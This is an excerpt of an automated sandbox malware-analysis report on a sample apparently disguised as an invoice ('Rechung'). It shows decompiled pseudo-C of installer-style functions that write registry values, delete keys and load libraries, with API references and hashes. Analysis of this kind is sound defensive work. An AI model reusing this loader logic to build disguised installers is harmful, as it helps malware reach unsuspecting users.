							if( *((intOrPtr*)(_t50 + 4)) == 0) {
								_t34 = E100024A4(_t50);
							} else {
								_push(_t74);
								_push(_t66);
								_t12 = _t50 + 0x1018; // 0x1018
								_t57 = 8;
								memcpy( &_v36, _t12, _t57 << 2);
								_t38 = E100015B4(_t50);
								_t15 = _t50 + 0x1018; // 0x1018
								_t70 = _t15;
								 *((intOrPtr*)(_t50 + 0x1020)) = _t38;
								 *_t70 = 4;
								E100024A4(_t50);
								_t61 = 8;
								_t34 = memcpy(_t70,  &_v36, _t61 << 2);
							}
						} else {
							E100024A4(_t50);
							_t34 = GlobalFree(E10001272(E100015B4(_t50)));
						}
						if( *((intOrPtr*)(_t50 + 4)) != 1) {
							_t34 = E10002467(_t50);
							if(( *(_t50 + 0x1010) & 0x00000040) != 0 &&  *_t50 == 1) {
								_t34 =  *(_t50 + 0x1008);
								if(_t34 != 0) {
									_t34 = FreeLibrary(_t34);
								}
							}
							if(( *(_t50 + 0x1010) & 0x00000020) != 0) {
								_t34 = E1000153D( *0x10004068);
							}
						}
						if(( *(_t50 + 0x1010) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t50);
						}
					}
					_t44 =  *_t50;
					if(_t44 == 0) {
						if(_t53 != 1) {
							goto L14;
						}
						E10002B57(_t50);
						L12:
						_t50 = _t44;
						L13:
						goto L14;
					}
					_t45 = _t44 - 1;
					if(_t45 == 0) {
						L8:
						_t44 = E1000289C(_t53, _t50); // executed
						goto L12;
					}
					_t46 = _t45 - 1;
					if(_t46 == 0) {
						E10002640(_t50);
						goto L13;
					}
					if(_t46 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x10001759
0x10001759
0x10001759
0x10001763
0x1000176b
0x10001778
0x10001786
0x10001789
0x1000178b
0x10001790
0x10001795
0x100018a8
0x100018a8
0x1000179b
0x1000179f
0x100017a2
0x100017a7
0x100017a8
0x100017a9
0x100017af
0x100017b5
0x100017e5
0x100017ec
0x10001810
0x1000184f
0x10001812
0x10001812
0x10001813
0x10001816
0x1000181c
0x10001820
0x10001823
0x10001828
0x10001828
0x1000182f
0x10001835
0x1000183b
0x10001847
0x10001848
0x1000184b
0x100017ee
0x100017ef
0x10001804
0x10001804
0x10001859
0x1000185c
0x10001869
0x10001870
0x10001878
0x1000187b
0x1000187b
0x10001878
0x10001888
0x10001890
0x10001895
0x10001888
0x1000189d
0x00000000
0x1000189f
0x00000000
0x100018a0
0x1000189d
0x100017b9
0x100017bc
0x100017da
0x00000000
0x00000000
0x100017dd
0x100017e2
0x100017e2
0x100017e4
0x00000000
0x100017e4
0x100017be
0x100017bf
0x100017c7
0x100017c8
0x00000000
0x100017c8
0x100017c1
0x100017c2
0x100017d0
0x00000000
0x100017d0
0x100017c5
0x00000000
0x00000000
0x00000000
0x100017c5

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,8BC3C95B), ref: 100022B8

Part of subcall function 10002640: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B2

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000001.00000002.52425263791.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.52425241360.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425288590.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425312463.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Rechung-R1663322504.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 80a71440bbdc6676df6433b68331a89e098fd0a61e7fd3645cfd834030fcbe9d
Instruction ID: 65685ba44f5e0dd4e22f20931bb662b0f8110762eb821eef9687284fed8b6370
Opcode Fuzzy Hash: 80a71440bbdc6676df6433b68331a89e098fd0a61e7fd3645cfd834030fcbe9d
Instruction Fuzzy Hash: 4A31AC75804241AAFB14DF649CC9BDA37E8FF043D4F158065FA0AAA08FDFB4A984C761

Uniqueness

Uniqueness Score: -1.00%

Function 004023DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E004023DE(void* __eax, int __ebx, intOrPtr __edx) {
				void* _t20;
				void* _t21;
				int _t24;
				long _t25;
				int _t30;
				intOrPtr _t33;
				void* _t34;
				intOrPtr _t37;
				void* _t39;
				void* _t42;

				_t33 = __edx;
				_t30 = __ebx;
				_t37 =  *((intOrPtr*)(_t39 - 0x18));
				_t34 = __eax;
				 *(_t39 - 0x4c) =  *(_t39 - 0x14);
				 *(_t39 - 0x3c) = E00402C37(2);
				_t20 = E00402C37(0x11);
				 *(_t39 - 4) = 1;
				_t21 = E00402CC7(_t42, _t34, _t20, 2); // executed
				 *(_t39 + 8) = _t21;
				if(_t21 != __ebx) {
					_t24 = 0;
					if(_t37 == 1) {
						E00402C37(0x23);
						_t24 = lstrlenW(0x40b5a8) + _t29 + 2;
					}
					if(_t37 == 4) {
						 *0x40b5a8 = E00402C15(3);
						 *((intOrPtr*)(_t39 - 0x30)) = _t33;
						_t24 = _t37;
					}
					if(_t37 == 3) {
						_t24 = E004030FA( *((intOrPtr*)(_t39 - 0x1c)), _t30, 0x40b5a8, 0x1800);
					}
					_t25 = RegSetValueExW( *(_t39 + 8),  *(_t39 - 0x3c), _t30,  *(_t39 - 0x4c), 0x40b5a8, _t24); // executed
					if(_t25 == 0) {
						 *(_t39 - 4) = _t30;
					}
					_push( *(_t39 + 8));
					RegCloseKey(); // executed
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *(_t39 - 4);
				return 0;
			}

0x004023de
0x004023de
0x004023de
0x004023e1
0x004023e8
0x004023f2
0x004023f5
0x004023fe
0x00402405
0x0040240c
0x0040240f
0x00402415
0x0040241f
0x00402423
0x0040242e
0x0040242e
0x00402435
0x0040243f
0x00402445
0x00402448
0x00402448
0x0040244c
0x00402458
0x00402458
0x00402469
0x00402471
0x00402473
0x00402473
0x00402476
0x00402551
0x00402551
0x00402ac2
0x00402ace

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsiF853.tmp,00000023,?,00000000,00000002,00000011,00000002), ref: 00402429
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsiF853.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402469
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsiF853.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402551

Strings

C:\Users\user\AppData\Local\Temp\nsiF853.tmp, xrefs: 0040241A, 0040243F, 00402453, 0040245E

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsiF853.tmp
API String ID: 2655323295-1279817527
Opcode ID: da5dd1646f1b3941156e64929c72752a0b3671e5fd854432c304d9b0703b255a
Instruction ID: 065199c4180da03f85bcad36feea8d83242cacde3b0560515a804f641c4ac6e3
Opcode Fuzzy Hash: da5dd1646f1b3941156e64929c72752a0b3671e5fd854432c304d9b0703b255a
Instruction Fuzzy Hash: 21119371E00108BEEB10AFA5DE49EAEBAB4EB54354F11803BF504F71D1DBB84D419B58

Uniqueness

Uniqueness Score: -1.00%

Function 00402D2A Relevance: 6.1, APIs: 4, Instructions: 64
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402D2A(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				short _v532;
				void* _t19;
				signed int _t26;
				intOrPtr* _t28;
				signed int _t33;
				signed int _t34;
				signed int _t35;

				_t34 = _a12;
				_t35 = _t34 & 0x00000300;
				_t33 = _t34 & 0x00000001;
				_t19 = E004060CC(__eflags, _a4, _a8, _t35 | 0x00000008,  &_v8); // executed
				if(_t19 == 0) {
					while(RegEnumKeyW(_v8, 0,  &_v532, 0x105) == 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							RegCloseKey(_v8);
							return 1;
						}
						_t26 = E00402D2A(__eflags, _v8,  &_v532, _a12);
						__eflags = _t26;
						if(_t26 != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t28 = E00406639(3);
					if(_t28 == 0) {
						return RegDeleteKeyW(_a4, _a8);
					}
					return  *_t28(_a4, _a8, _t35, 0);
				}
				return _t19;
			}

0x00402d35
0x00402d3e
0x00402d47
0x00402d53
0x00402d5a
0x00402d7e
0x00402d64
0x00402d66
0x00402db9
0x00000000
0x00402dc1
0x00402d75
0x00402d7a
0x00402d7c
0x00000000
0x00000000
0x00402d7c
0x00402d98
0x00402da0
0x00402da7
0x00000000
0x00402dca
0x00000000
0x00402db2
0x00402dd4

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402D8F
RegCloseKey.ADVAPI32(?,?,?), ref: 00402D98
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB9

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 820009e43a9071b4c2fbcc767f02e7592704dcbe5a8c35a15d570ca0c02c344c
Instruction ID: 13ce92619e22af03a8d5f803c99d3fa2c3d1cb872fac5522cbaad6f830247a1d
Opcode Fuzzy Hash: 820009e43a9071b4c2fbcc767f02e7592704dcbe5a8c35a15d570ca0c02c344c
Instruction Fuzzy Hash: 94116A32540509FBEF129F90CE09BEE7B69EF58350F110036B905B60E0E7B5DE21AB68

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402C37(0xfffffff0);
				_t17 = E00405BDB(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405B5D(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E0040580F( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x20)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x20)) == _t28 || E0040582C(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405792( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x24)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E0040625F(L"C:\\Users\\Arthur\\Socialdirektrer",  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x00402245
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402ac2
0x00402ace

APIs

Part of subcall function 00405BDB: CharNextW.USER32(?,?,Regnskovsomraader\calipering.Gyr,?,00405C4F,Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,?,?,764E3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,764E3420,00000000), ref: 00405BE9
Part of subcall function 00405BDB: CharNextW.USER32(00000000), ref: 00405BEE
Part of subcall function 00405BDB: CharNextW.USER32(00000000), ref: 00405C06

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405792: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 004057D5

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\Socialdirektrer,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\Socialdirektrer, xrefs: 00401640

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\Socialdirektrer
API String ID: 1892508949-2651023482
Opcode ID: cfaf144a50c9d872fad7681be613026781b9e36b6b2873b11358c1c1ca949dd0
Instruction ID: a664f1efeb726e69a6ab8af553608a028f51c0b4cf1c5e7724f5d8b0eae84205
Opcode Fuzzy Hash: cfaf144a50c9d872fad7681be613026781b9e36b6b2873b11358c1c1ca949dd0
Instruction Fuzzy Hash: 9311BE31504504EBCF317FA0CD4159F36A0EF15368B28493BEA45B22F2DB3E4D519A5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040612D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040612D(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x800;
				_t21 = E004060CC(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8); // executed
					_t21 = RegCloseKey(_a20); // executed
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x0040613b
0x0040613d
0x00406155
0x0040615a
0x0040615f
0x0040619d
0x0040619d
0x00406161
0x00406173
0x0040617e
0x00406184
0x0040618f
0x00000000
0x00000000
0x0040618f
0x004061a3

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000002,007A0F00,00000000,?,?,Call,?,?,004063A1,80000002), ref: 00406173
RegCloseKey.KERNELBASE(?,?,004063A1,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,007A0F00), ref: 0040617E

Strings

Call, xrefs: 00406134

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: 844fa4e459781eb8e351c6656b051d01f86af1f9d8b6039d3a5e8c643dc5dfc4
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: E1015A72500209EAEF218F51CD0AEDB3BA8EF54360F01803AF91AA6191D778D964CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040202C Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0040202C(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t31;
				void* _t32;
				void* _t34;
				WCHAR* _t37;
				intOrPtr* _t38;
				void* _t39;

				_t32 = __ebx;
				asm("sbb eax, 0x7a8af8");
				 *(_t39 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x7a8ac8 =  *0x7a8ac8 +  *(_t39 - 4);
					return 0;
				}
				_t37 = E00402C37(0xfffffff0);
				 *((intOrPtr*)(_t39 - 0x3c)) = E00402C37(1);
				if( *((intOrPtr*)(_t39 - 0x18)) == __ebx) {
					L3:
					_t23 = LoadLibraryExW(_t37, _t32, 8); // executed
					 *(_t39 + 8) = _t23;
					if(_t23 == _t32) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t38 = E004066A8( *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x3c)));
					if(_t38 == _t32) {
						E004052C3(0xfffffff7,  *((intOrPtr*)(_t39 - 0x3c)));
					} else {
						 *(_t39 - 4) = _t32;
						if( *((intOrPtr*)(_t39 - 0x20)) == _t32) {
							 *_t38( *((intOrPtr*)(_t39 - 8)), 0x400, _t34, 0x40cdac, 0x40a000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t39 - 0x20)));
							if( *_t38() != 0) {
								 *(_t39 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t39 - 0x1c)) == _t32 && E0040390D( *(_t39 + 8)) != 0) {
						FreeLibrary( *(_t39 + 8)); // executed
					}
					goto L16;
				}
				_t31 = GetModuleHandleW(_t37); // executed
				 *(_t39 + 8) = _t31;
				if(_t31 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x0040202c
0x0040202c
0x00402031
0x00402038
0x004020f7
0x00402245
0x00402245
0x00402abf
0x00402ac2
0x00402ace
0x00402ace
0x00402047
0x00402051
0x00402054
0x00402064
0x00402068
0x00402070
0x00402073
0x004020f0
0x00000000
0x004020f0
0x00402075
0x00402080
0x00402084
0x004020c4
0x00402086
0x00402089
0x0040208c
0x004020b8
0x0040208e
0x00402091
0x0040209a
0x0040209c
0x0040209c
0x0040209a
0x0040208c
0x004020cc
0x004020e5
0x004020e5
0x00000000
0x004020cc
0x00402057
0x0040205f
0x00402062
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402057

Part of subcall function 004052C3: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,764E23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000,?), ref: 004052FB
Part of subcall function 004052C3: lstrlenW.KERNEL32(0040323B,007A0F00,00000000,007924D8,764E23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000), ref: 0040530B
Part of subcall function 004052C3: lstrcatW.KERNEL32(007A0F00,0040323B), ref: 0040531E
Part of subcall function 004052C3: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 00405330
Part of subcall function 004052C3: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405356
Part of subcall function 004052C3: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405370
Part of subcall function 004052C3: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040537E

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402068
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,?,?,00000008,00000001,000000F0), ref: 004020E5

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 7ec08670c164e3e4a84eae5e80db5c7481304a47723853e255a05842b85f3cdd
Instruction ID: 33d9dd4ae41202a81bff1c9b27653e69474f3e4813fbbe5d8a50aab7b73a9ae0
Opcode Fuzzy Hash: 7ec08670c164e3e4a84eae5e80db5c7481304a47723853e255a05842b85f3cdd
Instruction Fuzzy Hash: 1E21B371900208AACF20AFA5CE4CA9E7970AF05354F64813BF511B11E1DBBD4951DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 004024F2 Relevance: 4.5, APIs: 3, Instructions: 47
registryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004024F2(int* __ebx, intOrPtr __edx, short* __esi) {
				void* _t9;
				int _t10;
				long _t13;
				int* _t16;
				intOrPtr _t21;
				void* _t22;
				short* _t24;
				void* _t26;
				void* _t29;

				_t24 = __esi;
				_t21 = __edx;
				_t16 = __ebx;
				_t9 = E00402C77(_t29, 0x20019); // executed
				_t22 = _t9;
				_t10 = E00402C15(3);
				 *((intOrPtr*)(_t26 - 0x4c)) = _t21;
				 *__esi = __ebx;
				if(_t22 == __ebx) {
					 *((intOrPtr*)(_t26 - 4)) = 1;
				} else {
					 *(_t26 + 8) = 0x3ff;
					if( *((intOrPtr*)(_t26 - 0x18)) == __ebx) {
						_t13 = RegEnumValueW(_t22, _t10, __esi, _t26 + 8, __ebx, __ebx, __ebx, __ebx); // executed
						__eflags = _t13;
						if(_t13 != 0) {
							 *((intOrPtr*)(_t26 - 4)) = 1;
						}
					} else {
						RegEnumKeyW(_t22, _t10, __esi, 0x3ff);
					}
					_t24[0x3ff] = _t16;
					_push(_t22); // executed
					RegCloseKey(); // executed
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t26 - 4));
				return 0;
			}

0x004024f2
0x004024f2
0x004024f2
0x004024f7
0x004024fe
0x00402500
0x00402508
0x0040250b
0x0040250e
0x00402885
0x00402514
0x0040251c
0x0040251f
0x00402538
0x0040253e
0x00402540
0x00402542
0x00402542
0x00402521
0x00402525
0x00402525
0x00402549
0x00402550
0x00402551
0x00402551
0x00402ac2
0x00402ace

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402525
RegEnumValueW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,00020019), ref: 00402538
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsiF853.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402551

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
